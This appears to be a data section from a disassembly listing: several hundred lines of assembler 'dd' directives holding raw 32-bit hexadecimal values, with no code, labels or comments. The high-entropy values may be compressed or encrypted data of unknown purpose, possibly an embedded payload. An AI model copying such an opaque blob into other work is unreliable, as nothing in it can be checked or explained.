		dd 0AED24DA8h, 0B0178493h, 1C4FE382h, 2E37522Ah, 0AFD50098h
		dd 29F91CA9h, 0FF5BA80Ch, 11B070h, 95DC68DAh, 59D16035h
		dd 66833D1Ch, 54304780h, 7B2DDB3Eh, 4BC4906h, 659DDE03h
		dd 0C79D8281h, 841DF07Ch, 4102ACA0h, 6A016C71h,	88F861EAh
		dd 1EF46BC1h, 214A1DA9h, 2FA2C0A7h, 0DD63C71Bh,	1A981C10h
		dd 71C2C2Eh, 0D04B247Bh, 44231B3Bh, 0F146B00h, 759DB667h
		dd 68EB589Eh, 84C04300h, 5B2495CBh, 3CE1F717h, 17F8D602h
		dd 0B0A0834Eh, 57C0A858h, 75A30141h, 6F0B5091h,	2167D521h
		dd 44F660F0h, 0E0ACA405h, 0E88128FAh, 78221C61h, 0BE04EC83h
		dd 0B0681154h, 47CC7E01h, 0F77596E4h, 1C0888C8h, 40F50419h
		dd 0CEAC931Dh, 0EC0002FAh, 1A4FCEBh, 0F8E96Bh, 983DB70Ah
		dd 365E4BC9h, 0A61F79E0h, 73096F2Bh, 0F9EE0749h, 919B5730h
		dd 18C20E7Ch, 0FEC015BFh, 1E7DE52h, 6AE03D61h, 0D472E81Fh
		dd 5BAFB401h, 21B84D88h, 0FBBD6060h, 9137A407h,	0EDD0DE23h
		dd 3DD3AB2h, 0B0C16D2Ch, 0E7D01298h, 247F561Bh,	790E0490h
		dd 40BC188Bh, 20551390h, 0DF3000D0h, 707E8D7Dh,	0B8002BB4h
		dd 5B41B6DDh, 124C1708h, 80D1D62Ah, 0C4DAA638h,	754CD8EAh
		dd 3CA90C24h, 95F10C7h,	635EE811h, 17302CE0h, 761FB32Fh
		dd 7F4B07E9h, 435620B8h, 744C5AF1h, 7CFD0008h, 0F15266Bh
		dd 96D03165h, 30B60160h, 0BB05097Ch, 1B80734Bh,	0A22E6480h
		dd 777F0312h, 0B74AEE14h, 4C6E18AAh, 0B022190Eh, 40EC0008h
		dd 3D02C835h, 0CA2ED6B4h, 9EF10028h, 87F29BC4h,	72A9DE00h
		dd 8D688C32h, 0D0AC001Eh, 0FFF51C7h, 1524C2BDh,	0BE03705Ah
		dd 0B8994552h, 44F60Ah,	54844D92h, 69349832h, 75FB8C39h
		dd 0ECD88200h, 1E37B71Bh, 3197C3Eh, 255ACE50h, 0DB932F0h
		dd 60E6F5E8h, 92090484h, 0C0881985h, 0A16D40h, 0F771BA12h
		dd 0AA4938ACh, 0ADFC5501h, 2CC1C430h, 0C0E0E09Dh, 367BD36Eh
		dd 0D65822B4h, 13E700CCh, 0A4BCDCF9h, 0F7780F85h, 0BA20B5E3h
		dd 2629441Bh, 0CC02C401h, 0CAEE0B7Bh, 0F850E1C8h, 1350038h
		dd 6A86F77Dh, 0A2E07849h, 0F1A9E701h, 0BE75FA1Eh, 17E0820h
		dd 298452D8h, 61894FC4h
		dd 42A7C838h, 0A8D78A00h, 0F218947Eh, 2F44009Ch, 21AD8151h
		dd 9760A3C9h, 5AB13E90h, 30BE00DAh, 6049703Ah, 0A8000C01h
		dd 507A5EEBh, 5B2540h, 0BBEE173Ch, 5DE2F02Fh, 402BD030h
		dd 92DA6Ah, 0BEC42A5Ch,	170AF5A0h, 256E4400h, 776AFFC5h
		dd 0D64700F4h, 70608C48h, 28398520h, 0A8940758h, 5DB0AB11h
		dd 4881D304h, 2400507Eh, 0A1B42C09h, 3100C7F0h,	98407DD2h
		dd 1CC6F5A5h, 0C37F233Eh, 2A474AE6h, 9A009A9Eh,	1C2F96D4h
		dd 76A80D48h, 628B0FB8h, 44649E18h, 0E5188073h,	72249B86h
		dd 98825C4Ch, 682C4AFDh, 884E30h, 0B8C8E55h, 8476BAE1h
		dd 0A60D9106h, 301C8Dh,	0C565D82Dh, 0D9676BBEh,	0C3BB9C07h
		dd 73A001ACh, 18EE548h,	146C0F7Ah, 724CD124h, 22580028h
		dd 0EE9530C8h, 0AB2B07B1h, 40985952h, 0F1393C64h, 872C7300h
		dd 915826ACh, 70BAFC11h, 0E96E3CD5h, 3220C93h, 2BE21474h
		dd 104261A0h, 3B00A974h, 0C68421FFh, 0B6EED7h, 28902D30h
		dd 0E422A1CCh, 33D40A00h, 0F0D98CF4h, 0F934028Bh, 46E35D71h
		dd 90369840h, 0BEB5Ch, 0CAE2BEA5h, 0A7F55Ch, 1F420D15h
		dd 52C9FCCFh, 7F89AE00h, 4B90CD7h, 864B005Eh, 67703DA6h
		dd 2A1E3ACDh, 3600DEB4h, 0D26ABA5Fh, 0B8C130A3h, 0DFAC275Eh
		dd 0C21A7900h, 0BED3974Fh, 35DF2B5h, 31150BC7h,	78001472h
		dd 0AD9D4637h, 103C69h,	5A52798Dh, 5980FF38h, 0D6F6ED00h
		dd 73570D8Fh, 0A61A00B9h, 0BFD5B50h, 8100540Ah,	9371D44h
		dd 7490463h, 8FD41619h,	0E3AC90F1h, 7CF6EB7Eh, 4BC46F1Ch
		dd 56DE9D40h, 96FBC0h, 8BB08376h, 0E5DAFDB7h, 0C87A9900h
		dd 86B98EB3h, 57EE0011h, 0FA43DF40h, 383E6D45h,	4AED0009h
		dd 9F6FD9A9h, 1EE9867h,	0CC46C9FEh, 0E85A7C21h,	7D145EB4h
		dd 3E9049C5h, 0B1007764h, 0E13A2BF8h, 3C7EC77Bh, 7C75243Eh
		dd 6466008Ch, 0C4EB78F1h, 0A0033117h, 0E9239EB7h, 48CECBh
		dd 0C99CB184h, 48223006h, 94B97C00h, 0F2DEFF1h,	0A76A005Bh
		dd 1349BCF6h, 4600A6A2h, 55563188h, 3D8A41Dh, 5D289ECCh
		dd 29E80D50h, 5E0FB86Bh, 0A03D8D34h, 0BEFBE9E8h, 58DE1DB0h
		dd 3111C344h, 680F4F21h, 0E7A997C3h, 1A4072CDh,	26653B23h
		dd 90A7B1Dh, 0D9007C44h, 0C5042410h, 4CB33700h,	6FB99275h
		dd 7DE0077Fh, 0A15C6753h, 808F7A2Ch, 73E79C78h,	90DFA1C0h
		dd 0C4A500CFh, 2819C1BCh, 8C00B8EDh, 88496C06h,	0F7AC6BDh
		dd 0F54FD577h, 0FCB6600h, 0CE045878h, 53C96B02h, 743F7EC0h
		dd 692E00D3h, 78ED391Bh, 0E1038D30h, 0D7840D3Eh, 0BEF9DB60h
		dd 1DAAEE81h, 80FACDB0h, 8BEF30Eh, 0C7506BCBh, 0B7034CD7h
		dd 67A968E8h, 0D3CA0E5h, 55280181h, 2BB0EA8Ah, 332DD0C2h
		dd 19ADBF00h, 540ECF9Ah, 7F239h, 23A8CBB7h, 9318EF20h
		dd 0DAE83E00h, 25B22B4Ah, 87FE3D17h, 0FF0B3Bh, 4BEE375Fh
		dd 2089B1BDh, 7C169B00h, 0F8F762Ah, 7E580EECh, 8CC050D7h
		dd 0FAAD5D78h, 4C7D4700h, 0BD466EFCh, 0F0B900F7h, 1D482F0Bh
		dd 5A006A2Dh, 0DB078733h, 88EBCh, 5043D8FBh, 2D94C3F5h
		dd 0B853400h, 0DABCBAC8h, 16570BEAh, 0C5037393h, 4A816AD7h
		dd 85FA70B4h, 50DC9A00h, 0F1D1FFFh, 2B73C2h, 0ED185E79h
		dd 7EBFC16Ch, 9E27DF00h, 95CC57F6h, 93AF00D3h, 98670FF2h
		dd 0F90071E7h, 2D4C1EBFh, 0E6AB0DE0h, 0E4B23985h, 0DCC4D714h
		dd 1B05E80Ch, 26007C31h, 0D6D4BA25h, 72911A8Ah,	9398A0C1h
		dd 7083606Fh, 0C7A388CDh, 12B92800h, 0E7E9C044h, 81240005h
		dd 0FEB5749h, 160C8DF5h, 5873906Bh, 557F0EF2h, 5C848F22h
		dd 885AC268h, 25722460h, 12470E00h, 18458304h, 4F420FFEh
		dd 70F82CCFh, 5C00EF81h, 0B1043EBDh, 7F369CBh, 1BF17DE1h
		dd 6F416176h, 0B014CC72h, 0BB00A5E2h, 9950F046h, 0CED0CFh
		dd 0E1688807h, 0A4D173F8h, 0D732B20Eh, 7BEEC033h, 100681h
		dd 25D954F5h, 0B63FC740h, 0C41C5FFAh, 9EC0DD8Dh, 1C6238B7h
		dd 0A39900C9h, 17521481h, 2CE226F9h, 0FC5B7225h, 5F8D0269h
		dd 0D580EC39h, 4F517817h, 81761800h, 0FBB185AEh, 93EF07DCh
		dd 90F8ECA7h, 0CE59E1B3h, 9CF46200h, 82C55DCBh,	0AE4E3B56h
		dd 0E9AB9380h, 0BE01B9DBh, 173E7100h, 0B0558084h, 397800DAh
		dd 1C61AC7Bh, 5E07EA9Dh, 93563BD1h, 389B2B90h, 8050DFF4h
		dd 2E7C0F42h, 0DE4DDF9Fh, 0D3450030h, 0CAFD5E67h, 0F4C20193h
		dd 0F75584E7h, 14D8206Ch, 3F006D78h, 27EEE07Dh,	1FC13174h
		dd 8147E8E6h, 3698C288h, 0F145C834h, 9429EB07h,	321024F9h
		dd 2E805B07h, 1CBE9DEAh, 4F57400Fh, 425254DDh, 0A78DE801h
		dd 144043B0h, 0D17F8C40h, 0D7490320h, 17B45AE1h, 803CFFA7h
		dd 0A3E6CD60h, 6001D9Fh, 0A7CAA505h, 4CA6F47Bh,	3C00BD25h
		dd 1F51E553h, 0A004A24h, 0C9AFA3B8h, 1F752C2h, 3173FC9Dh
		dd 0ECE25F25h, 0EF00F036h, 0C5F3DA35h, 3E658713h, 198384DEh
		dd 614D1872h, 16D580F0h, 4C00737Ah, 0F482D49Fh,	3738ADh
		dd 8BA7B360h, 92635F1h,	0B9A97600h, 0CA2FDCB2h,	947714EBh
		dd 0F61FA01Fh, 3234C0A2h, 70517BBEh, 0F33C5800h, 1F1E2930h
		dd 8F4C0007h, 3731E568h, 7200B04Bh, 58123F85h, 3B8D603Dh
		dd 0D3001DE6h, 2B3C8951h, 2A00B820h, 0A87E9575h, 929EA9h
		dd 74A012EFh, 0BCDF711Ch, 18BE5D00h, 0E77A421Dh, 4EEB3D72h
		dd 0C3F2E101h, 6011CD1Bh, 21715004h, 29B5A930h,	0AC22EBh
		dd 30652FF7h, 159A8CD5h, 8E47B0DCh, 20BF2C1Fh, 591786A0h
		dd 36101B61h, 12902014h, 0C00DFD08h, 0D023AAE7h, 1C3805E0h
		dd 800A6165h, 0E8EA2FCCh, 18000DD8h, 25209446h,	1DA5CC0h
		dd 7EC4F213h, 40FA29C1h, 38AC8BC8h, 0A7B84D00h,	0EA1E06D3h
		dd 3E2500E1h, 0F688A5C7h, 0C2005CD7h, 0AB49DC9Eh, 0A03BD4AAh
		dd 381399Ch, 55692C1Eh,	0F080863Eh, 78B595B9h, 1242032Eh
		dd 1F01EC78h, 2A403101h, 32BC6548h, 381E420h, 549714EDh
		dd 0CDF8FCh, 0DAE9839Dh, 8000E447h, 1E8FFF73h, 995E31h
		dd 0C70D0E08h, 12D76B30h, 0D826C000h, 0DD148EB6h, 46AC03B2h
		dd 7A4A2DC5h, 0E3836680h, 25652300h, 44DB131Fh,	57320986h
		dd 0E420214Eh, 9D515F92h, 0BCE7F224h, 86E31683h, 0F90780BDh
		dd 6E8705A2h, 0C0911098h, 44C56CA8h, 0A0961200h, 5830956Fh
		dd 747020Dh, 7A1C6B87h,	0FE906B43h, 0BD03903Dh,	6859A9E6h
		dd 75BC0006h, 5264C0E4h, 203EFF2h, 0EB4F96B4h, 7F38C882h
		dd 724C006Bh, 0E5201D6Fh, 3D02FFA0h, 411CCDA8h,	45417586h
		dd 95D8E34Fh, 9D122722h, 880040ABh, 0E42DC56h, 5E7500F7h
		dd 531EBD7Ah, 100317F9h, 8C7806E5h, 0CCCEC95Ah,	0B064D2DCh
		dd 0E65004Ch, 0A3D8693h, 0F8B095B3h, 8B7EC90Eh,	0BC2000EBh
		dd 134A0Ch, 3F566629h, 0E1554B83h, 64783B01h, 37BB5409h
		dd 4CC3760h, 0EF529F68h, 4C3080D6h, 0A00EA56h, 8C98E4DCh
		dd 0E126E5Fh, 95F1A422h, 1C685A20h, 13028310h, 0D4793C09h
		dd 4ABC60B1h, 9F321D06h, 10A6C0FEh, 3C1A4682h, 5ADA4500h
		dd 244E2AEDh, 84CD5CD1h, 78394F00h, 0CE148C5Eh,	0F8E749h
		dd 5546C979h, 5065D391h, 0EAC888h, 0A2108EB2h, 0B0EB3A6h
		dd 801E0A71h, 0C30070D3h, 0C13DD75Fh, 0B6DF096Ah, 5800D2C8h
		dd 2274352Dh, 9CA88600h, 276295D4h, 8FBE0111h, 0DB81FFC6h
		dd 36F9DB8Dh, 22A5F54Bh, 62830018h, 76FF7A6Bh, 156C18CAh
		dd 0DEFAC039h, 49D9E600h
		dd 7D55EA8Ch, 14B97E5Bh, 0AFF14AF3h, 4BADD702h,	2CC836CEh
		dd 600A5AAh, 9AD84E5Eh,	0B52F1Eh, 733238A3h, 60E6CE75h
		dd 264DA60h, 0FEBFC0h, 6AC80AF0h, 345D65ABh, 8F9DCD00h
		dd 0FB8EAD47h, 4A1C00B9h, 2E0EE12Fh, 735C7A14h,	51ED0099h
		dd 0BB42EF7Fh, 0BE4600D7h, 61280F36h, 45010502h, 0CF74CAACh
		dd 49C053A3h, 6D370F9Bh, 6167E977h, 567050FDh, 0E8C0547Bh
		dd 0A8A77CD8h, 0BD96709Dh, 358A72E0h, 13B41A48h, 5300B534h
		dd 0B8BB86F9h, 97230013h, 4F831995h, 0B100F155h, 11F55BFDh
		dd 0C6C38Bh, 59A5FE9Ah,	6B43AED5h, 37988000h, 71738F95h
		dd 193B011Dh, 3A740177h, 102EEC76h, 6E246600h, 8003A722h
		dd 382B00C9h, 5043A911h, 0E0FA6BAh, 4104D77Eh, 0D3829EBFh
		dd 18A4060h, 8BC240E5h,	0F8B460E8h, 0A72C465Ah,	0B426B8DCh
		dd 0A616BE00h, 0A2629DDAh, 0B09341D3h, 67C70h, 9281126Ch
		dd 0E6AE4088h, 0D0101800h, 5C4E1B76h, 0DCF81DF5h, 409C9F47h
		dd 1CEAE98Ah, 0D5484B3Fh, 0D2A8009Ch, 6039B677h, 0CA8802E4h
		dd 51FE6EDAh, 0CF8028C2h, 2CFC68D4h, 0B09C8701h, 1F054FEAh
		dd 92AAFFD8h, 1A2F0798h, 81DAE697h, 47D8E181h, 0B8C9E0C8h
		dd 0E4E5B1FFh, 2C073F45h, 0FBBFDFA1h, 1C91D727h, 0A0207C2Ah
		dd 16774Ch, 0DE870A3Ah,	0E97DCF82h, 147863Ah, 0BBDBDA18h
		dd 0CDEC345Eh, 0FABE01B0h, 7261DDD1h, 0A5B2DCD0h, 1000EFFAh
		dd 40424925h, 1ADD596h,	7A6EDCC2h, 0D879CB0Eh, 0DF008CB0h
		dd 324E86EFh, 2DAE10h, 0A348B1ABh, 37F57C3Fh, 2E093B7Ch
		dd 0C004981Bh, 47C8BCh,	0F23FA945h, 9E9C077h, 9A6063Ch
		dd 0F8A89Dh, 0D9C13CD1h, 0DFDEF29Fh, 888F80A8h,	376C8218h
		dd 5ADDE300h, 1604ED77h, 0D79B397Bh, 3626278Eh,	80BFBB64h
		dd 6B25FA00h, 0A0785B14h, 73DD01A0h, 45AED2B2h,	4576820h
		dd 0BC86C821h, 6960835Eh, 4B3D1D90h, 9743FF00h,	0E6816F8Fh
		dd 0D07500A2h, 946AA1D3h, 0D590C2B5h, 0C43DF000h, 35219032h
		dd 7D17009Ch, 4C0CF749h, 1A0139FEh, 298BFA2h, 47D8E97Fh
		dd 0BD300E15h, 0E4407D78h, 0F4D9C5C4h, 5A0C5E00h, 0DF92A376h
		dd 42600ECh, 0BFDC5F42h, 5779DAEAh, 43194D00h, 0F8763712h
		dd 45A500A0h, 0BC29148Dh, 0AC15980Fh, 22ECBD40h, 0B0EF480h
		dd 0BF13C4E9h, 311C98A0h, 580B4E6Ch, 0A02FD2B3h, 0BED9919Ch
		dd 0CC8300B8h, 298DAC71h, 3760CAB4h, 87A19921h,	40540016h
		dd 65FA7662h, 0E40053C0h, 0AC9BB0FCh, 3D0AC3E9h, 0B981DB47h
		dd 0A6B5F78Ah, 56802A2Dh, 0FD493Fh, 0C4C0359Eh,	6A08DFE0h
		dd 0DE405100h, 0EB7EBD57h, 1FB13C80h, 4D0BB73Bh, 42008395h
		dd 5DD28768h, 0F30286F2h, 2FA2B650h, 7DC84096h,	492B0001h
		dd 0D05DC193h, 7300FE3Eh, 5EF5E1BBh, 0E5B883Ch,	40084276h
		dd 1C185D60h, 5FB8C167h, 602EA8B0h, 0F2009CE8h,	9E70F965h
		dd 0B8547AF6h, 17771B8h, 63ECED20h, 0E37EF2h, 0A672FFh
		dd 1C5DF0D0h, 0D4B0064Dh, 96D7C53Fh, 5C408827h,	52BEE59Ah
		dd 369D03E3h, 7EBABC03h, 775BA0D8h, 0D07C2200h,	0E99E3C5Fh
		dd 87253F52h, 9ADD4E80h, 23182896h, 131E7777h, 88C31D65h
		dd 0FFF0F2C8h, 819DD530h, 0D8B8128Bh, 0BD680CA1h, 15007C7Ah
		dd 6359D9ECh, 67249Bh, 0E2E6143Eh, 6E20F67Fh, 9385333Dh
		dd 0DC0090EDh, 0AE69C90Ch, 345F007Ah, 4C889AD0h, 0A0009BAAh
		dd 4E3C9586h, 33103CAh,	38321F2Ah, 5598F945h, 0D73F845Fh
		dd 816103B7h, 0A8669990h, 738E962Bh, 0C9ED1CE5h, 0C78300F7h
		dd 283F5B1Bh, 0AFD8C618h, 653D38h, 5026241Ah, 0F85D30F4h
		dd 66796418h, 9B2C821h,	3A8CD1D0h, 22833C0Eh, 2E818017h
		dd 1DE0F82Dh, 344C300h,	5548DE39h, 816C0090h, 0CF9B249Eh
		dd 6300DFD3h, 0E759DA70h, 3783198h, 0D76A927Fh,	0EFCA95BFh
		dd 449951E3h, 94FDE460h, 0AF827000h, 0CFFCBCF6h, 986C00D8h
		dd 0ADB08BFBh, 12001DBAh, 77D77C60h, 0D249EEh, 655C7A27h
		dd 0CAF55A9Eh, 5BFC4F00h, 0FFA099Dh, 0E6DAFE3Bh, 0B19B12DEh
		dd 86ED1F07h, 3051CA86h, 5DEDAF07h, 812F90ADh, 34022DAAh
		dd 51616080h, 5A58374Fh, 8006BB8h, 0B8DB9E4Eh, 0D085B6h
		dd 2D91B075h, 1E47CAF9h, 0BA44FC0Fh, 0EEC4E0D7h, 0C14384Bh
		dd 78F568E1h, 621C2B50h, 754129CDh, 2FB6EC56h, 1F3B0D0h
		dd 30D6E1A1h, 20D9E3D3h, 0A01406Ch, 8FC06E3Fh, 3433F0BCh
		dd 0E9B98400h, 74310C7Eh, 151FD700h, 6E4055E8h,	0A7D40067h
		dd 3A5BDEE2h, 0CF146290h, 3DCD12AEh, 1450C809h,	3E981EEh
		dd 0A27E79D8h, 37C58820h, 0F0520A24h, 28920EC3h, 58EA6051h
		dd 0D4B13CCFh, 0ADD26100h, 0E77535F3h, 6DAA0034h, 719ADE8Fh
		dd 0D39278Ch, 10948E29h, 7A8AC03Eh, 93262Bh, 1B4EC713h
		dd 6FCB01E3h, 0CE3D797Fh, 357F807Ch, 9B71FE60h,	0EE2B00F7h
		dd 44CC187Eh, 7000F047h, 0D145EB46h, 2598A7h, 9753031Eh
		dd 8BBA5CD4h, 0CDD59005h, 0B181DF82h, 5021B841h, 0BFE470h
		dd 0DEAA7CD2h, 47772A83h, 576FFD02h, 5849081Eh,	632E01ECh
		dd 3C1335E9h, 0F5FC30F2h, 0F948EFE0h, 18004B43h, 82D56F1Fh
		dd 45FF0052h, 69FBEB0Fh, 0C21EC6D9h, 0E74614CCh, 3401D62h
		dd 0F7E9E8C0h, 0B0AFBEBAh, 58E31539h, 0FC1F6B00h, 3F2FCC47h
		dd 6317083h, 2116B028h,	815F78E5h, 510089ACh, 0A7EA8B0Eh
		dd 6C123E94h, 0C2001739h, 6E0CA2B2h, 0A8010004h, 319E4F3Ah
		dd 1D02CDB9h, 0A4413CB5h, 38E04027h, 2CB1E0A5h,	388293h
		dd 0E8F65435h, 3900CEC4h, 0E77A4E26h, 5911929Bh, 0D54C4051h
		dd 91C50078h, 0D7F5C78Eh, 0D8B8D885h, 3C1E3000h, 0D47F34Fh
		dd 0A0F0787Fh, 50A18BD3h, 3B439071h, 0A401DA83h, 895BDC2h
		dd 6828E2h, 0D60567FAh,	299A116h, 970EA0C8h, 60C811EBh
		dd 62608E0Ch, 703DC091h, 9AB801FAh, 335EC6A4h, 0AA298348h
		dd 8CB2E7h, 2782E71h, 34777560h, 0E3653800h, 0E7B488Fh
		dd 5B7073Bh, 40BF93A9h,	0E7F4EDC1h, 457D0400h, 4395E4D6h
		dd 0F4DD4C59h, 0D148FB00h, 0FD57D570h, 0B1F380B7h, 568A79h
		dd 0A6F6E304h, 6DDF325Dh, 1F0BD014h, 1E133ED4h,	6F027745h
		dd 63A2D2E3h, 0BFA90198h, 46DC69EBh, 0F9E020C7h, 0E6B8541Ch
		dd 45097340h, 90B1C972h, 0EA7A0020h, 0BAD81055h, 110C3829h
		dd 39221630h, 70FF0263h, 437A596Dh, 7DDFD080h, 9612A9A8h
		dd 348095D4h, 1B646C9h,	8F93861Fh, 0E801AF45h, 793EB72Fh
		dd 33260EC5h, 0EAB0E6D6h, 4FFC0914h, 0A8892458h, 0ED97C800h
		dd 6BE8AD75h, 3E48EC00h, 0E7AEEF7Ch, 3BF80042h,	2F90B8AAh
		dd 0AD0005BAh, 27C45778h, 0BD8D96h, 0ED4B3F59h,	7D93F6A4h
		dd 9FCEC700h, 0BB31B449h, 0DDA9171Ch, 50B0C7BEh, 4FC65E5Bh
		dd 0F8DA3Eh, 0C347CC91h, 7D50D8D6h, 24949E6Dh, 207A000Eh
		dd 0B48EB2B5h, 62D3907h, 8F87510Dh, 0F82B48B3h,	0F50600Fh
		dd 34A47AACh, 8815E820h, 0FA009C9Ah, 7007CD5Ah,	70865EA3h
		dd 9E0548DBh, 6AEF6200h, 6DD9CCEBh, 0A7DC6E00h,	4E229B5Ah
		dd 0E421901Fh, 92F009ADh, 482079F5h, 8B03D6DFh,	0A011976Fh
		dd 5CBAB70h, 0FC550195h, 0F1985746h, 0F6213008h, 3FE28B00h
		dd 0FA9066B3h, 1ED1005Ch, 0AE37EF74h, 0DC2647E6h, 0D42F19A5h
		dd 1C7A1247h, 7EBB40A4h, 345601C0h, 12CF226h, 54C7B700h
		dd 0EC573CD2h, 0A249C0BEh, 6FDBCDEEh, 50D66C0Ch, 1A19A4h
		dd 458C8E13h, 0BFA2A6C7h
		dd 788A48h, 0B14CFE1h, 0E081C36h, 0F845E780h, 12B7CE40h
		dd 72785668h, 40A48700h, 794FD282h, 4E2677B6h, 0C078125Dh
		dd 0E0FEE7A0h, 0D783F005h, 96C02D45h, 0B07620A4h, 0C0751297h
		dd 0A98C06DAh, 590BE09Ch, 80BF0C94h, 359A16D8h,	0F8456777h
		dd 0B4360DDh, 0FB00CE74h, 881D9FA2h, 1E1CBD0h, 3860E65Ah
		dd 40702142h, 1D689787h, 0F4019E5Bh, 0B1D79BFFh, 0B117430h
		dd 6E17C2B3h, 0C45A1900h, 0B0039285h, 6394F1A3h, 8DA9A82Fh
		dd 9BBA09A7h, 6C00E287h, 27BB60E5h, 0F7992303h,	0C98F7A76h
		dd 0F0DF6ED0h, 0CE39CA65h, 0C0C02828h, 0EDFECB68h, 0E6DB441Fh
		dd 0D461FF80h, 1C3E34A6h, 80D56B67h, 54E04677h,	0D700763Dh
		dd 0E3E1B399h, 91D1B1h,	1066658Bh, 0DF693016h, 94A954FAh
		dd 4E2C39B5h, 12A8C440h, 0B81B2D80h, 0D64E71h, 87DD0834h
		dd 0AA2E4B36h, 2900F43Dh, 0B07DC881h, 0F04C0503h, 0FAE4A134h
		dd 0F48031C4h, 0B0025829h, 0B5FA0040h, 9F20086Dh, 5B0009DAh
		dd 4E32C830h, 7DC32Bh, 0E095C1BBh, 3D826B0Eh, 63915800h
		dd 0E7CF7276h, 0F2A70271h, 51FD8E96h, 4A00CC54h, 56771C0Eh
		dd 46B895h, 12F1AC86h, 5C19036Eh, 0F0DF5800h, 7BE7D4E2h
		dd 8ACF000Ah, 4AAFB745h, 5F002F64h, 0CD410634h,	3AC4C6h
		dd 0BC0C3E20h, 8D6ED29Eh, 8A43E71Fh, 0F8805B57h, 0EA2AAFB5h
		dd 76B010h, 906E8565h, 0A27798A0h, 0DF452D00h, 0A9369295h
		dd 9E210631h, 6803E5C7h, 35F08776h, 443B1F00h, 122899F8h
		dd 0C5181D10h, 0EE13801Ah, 0D5C75C62h, 25551100h, 0A0D0E992h
		dd 0CB09Ah, 323DDAC8h, 97D77F17h, 0C3318E00h, 9901BC7h
		dd 2DEE00A9h, 0DA100C5Dh, 3D1FB460h, 68400A31h,	4B563CBDh
		dd 0C7FA073Eh, 0D127C267h, 0FAB4A673h, 8C6298E8h, 0D89AAD00h
		dd 1A36D9BBh, 44475883h, 0AC820E00h, 442CA17Bh,	100148h
		dd 84F76AE6h, 0B0CC60A5h, 0A076120Ch, 12F90761h, 2773809Fh
		dd 0D100DF79h, 2B1966CCh, 0FA02B5E4h, 5C8E9028h, 0A4004C1Ah
		dd 3B24F48Ah, 0FB03683Fh, 43D0A66Eh, 0F865C0D7h, 0CEA00069h
		dd 92FED241h, 0F4004DF2h, 49E36679h, 0FE47E8FCh, 0CA71397Fh
		dd 44C5E000h, 0EF7DB3A9h, 0C1650F03h, 0E9E4EBD2h, 9834F669h
		dd 2617F54h, 593ED05Ch,	0AAC08249h, 0DD793C5Eh,	0A09EDB16h
		dd 8CD2E840h, 2FDC2D7h,	0D0C193Bh, 4CE85A39h, 0F07E62Eh
		dd 97CE48A2h, 921728E0h, 77400156h, 83FEF14Bh, 0D4347050h
		dd 0A7CB9D07h, 0B760EFA5h, 41E8234h, 0B55809ABh, 1760C0F3h
		dd 1000223h, 0C336A7Eh,	5E7589h, 0B5E3A666h, 0CF2B37C1h
		dd 5617D018h, 0B9BC40h,	0B41EF349h, 5591BB6Dh, 0F928F8F8h
		dd 0EA00A350h, 86C67D45h, 6F27E2h, 36C90416h, 2E32E71h
		dd 940028B4h, 23603B66h, 919225C3h, 80753402h, 1949A880h
		dd 8300D8D1h, 0B7E08C70h, 76CC61h, 7B3E30B1h, 6C241658h
		dd 390C1000h, 0F2C889DCh, 66710F4Fh, 8240B5B1h,	14E85448h
		dd 78936739h, 1101407Bh, 356A66Bh, 0B880731Dh, 0BEC974Ah
		dd 0EB3A8E5Eh, 3BAA8002h, 0A9EF0A5Fh, 294D6E4Fh, 0B9063CE0h
		dd 3F4BA0F6h, 7FC4C3h, 0D6E1385Eh, 9AF5CC6Ah, 5AED6101h
		dd 0D1A546FEh, 0B1F8028h, 5D80B999h, 0A006D782h, 77015994h
		dd 0F683CAEFh, 0CED9A2C3h, 150D464h, 93717D3Eh,	0C46638F0h
		dd 6200B1ECh, 0CE32FB3h, 0E3701A2Ch, 0E0FCC2Dh,	466094AAh
		dd 0BE610A5Dh, 201E5B09h, 0C0DC01B9h, 0FEF86396h, 742D00D6h
		dd 0B4DF2A02h, 8400F9C3h, 71E85AB9h, 0ADC89h, 0B30D2C7Ah
		dd 0EA50B40Fh, 741D861Fh, 0E4005697h, 0B53576EBh, 605949C5h
		dd 65EF2476h, 49F7016Ch, 208695EDh, 61FC7B50h, 0FEB72900h
		dd 0CDA3D72Fh, 0B3AE24BEh, 1D98E1E4h, 3123F43Bh, 0D24E98C0h
		dd 3007875Eh, 4958CF14h, 7F205304h, 70DC270Dh, 0DEFF7C40h
		dd 0A4780C1Eh, 7D322744h, 43A1AC87h, 51E05916h,	53A5096Dh
		dd 0D405FA84h, 50DC807Fh, 4B00CEFDh, 0C18318BBh, 167B4AE9h
		dd 0FEC76Ah, 7C9FEB48h,	8412ADC6h, 241ED749h, 0CC703880h
		dd 1BD2104h, 0A09DA927h, 20118B89h, 7D002D88h, 2BCACEE0h
		dd 0B82E8FB3h, 28ED1F40h, 16FEEEAAh, 3DCC07CFh,	0AC368088h
		dd 0EF122463h, 0E8920316h, 0AAC4400Dh, 0F3F61C50h, 0D49043CCh
		dd 45D0C429h, 0EB00F54Ah, 2D6B7F04h, 2EAEAB32h,	62F61Fh
		dd 6CA94CF1h, 28000F35h, 3EC10C70h, 16C36Fh, 9C21D772h
		dd 12E22AF4h, 0C9F29473h, 50D0194Ch, 8D0093C9h,	0A7A298CFh
		dd 0F2F9EDh, 4EAD4115h,	0ABF789F4h, 0E25820C0h,	74F0F667h
		dd 3DF2004Fh, 0D093C25Eh, 2F3FAEA8h, 37CD8002h,	0F7183495h
		dd 0F2EA02B8h, 1F985B21h, 0FE788040h, 0AFBB2813h, 333CF400h
		dd 0B724FBh, 0D8963ABh,	9512151Eh, 0AE09E600h, 35A0FABEh
		dd 360F0132h, 8A9CA4C8h, 277C283Bh, 0B71861ACh,	943B430h
		dd 0EBD3BA99h, 1B2FAE80h, 0C09672Ah, 6313ED91h,	0A2DD9B40h
		dd 47DBC08Fh, 5B491306h, 0E22600EFh, 50127E46h,	0E4755D01h
		dd 58F4D8F7h, 0ECD7E4h,	97B89DB7h, 53C95705h, 0A003F376h
		dd 1B75E567h, 0DF1680C5h, 0B93D0932h, 4065AAFFh, 39EC3605h
		dd 5BB4A0h, 3A6692ABh, 0BB202390h, 0BC4C0C79h, 468700C8h
		dd 771DA174h, 983E00AEh, 2ABA7D4Dh, 0C0249E4Ch,	250010A4h
		dd 0D6BC63CDh, 113E2441h, 8A930034h, 7E4BF712h,	4ACB6E03h
		dd 1A58968h, 0B4FCF230h, 801E93D0h, 0A30B1174h,	13C23635h
		dd 9805577h, 6203F76Ch,	1DD802C5h, 0D35CC364h, 91240069h
		dd 0DFC1270Dh, 0E50DC22h, 374FE86Ah, 889E40FEh,	0E1ACB498h
		dd 0D405BA00h, 0CA1E9B12h, 2C6DF08Fh, 2333D30h,	1C6A4463h
